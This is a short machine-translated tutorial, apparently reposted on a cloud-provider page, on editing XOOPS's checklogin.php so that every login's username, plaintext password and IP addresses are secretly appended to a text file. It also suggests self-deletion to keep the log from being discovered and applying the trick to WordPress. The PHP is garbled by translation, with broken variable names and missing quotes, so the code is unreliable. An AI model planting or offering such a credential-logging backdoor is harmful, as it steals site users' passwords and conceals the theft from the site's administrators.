How to modify the XOOPs record Password File

Source: Internet
Author: User

This article describes how to modify the XOOPs password file. The file to be modified:/indclude/checklogin. php
At the beginning of the file, define a function to get the Internet ip address of the client:

// Get onlineip ()
Function get_onlineip (){
$ Onlineip =;
If (getenv (HTTP_CLIENT_IP) & strcasecmp (getenv (HTTP_CLIENT_IP), unknown )){
$ Onlineip = getenv (HTTP_CLIENT_IP );
} Elseif (getenv (HTTP_X_FORWARDED_FOR) & strcasecmp (getenv (HTTP_X_FORWARDED_FOR), unknown )){
$ Onlineip = getenv (HTTP_X_FORWARDED_FOR );
} Elseif (getenv (REMOTE_ADDR) & strcasecmp (getenv (REMOTE_ADDR), unknown )){
$ Onlineip = getenv (REMOTE_ADDR );
} Elseif (isset ($ _ SERVER [REMOTE_ADDR]) & $ _ SERVER [REMOTE_ADDR] & strcasecmp ($ _ SERVER [REMOTE_ADDR], unknown )){
$ Onlineip = $ _ SERVER [REMOTE_ADDR];
}
Return $ onlineip;
}


Then, the user name and password in the form are recorded as follows:

$ Sip = $ _ SERVER ["REMOTE_ADDR"];
$ Txt = $ uname. |. $ pass. |. $ sip. |. get_onlineip ();
$ Txt = $ txt ."";
$ Dir = "pwd.txt"; // the location where the log is saved. Use the absolute path.
$ F = fopen ($ dir, "a + ");
Fwrite ($ f, $ txt );
Fclose ($ f );


Of course, this technique can be implemented as long as it is based on php, but we can add such methods as self-deletion or other methods to prevent the log from being discovered or used by others. The location where these codes are added is not random. Sometimes, when an error is entered, the webpage is blank. Use this method if the wordpress Password is not good.

Lengf

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.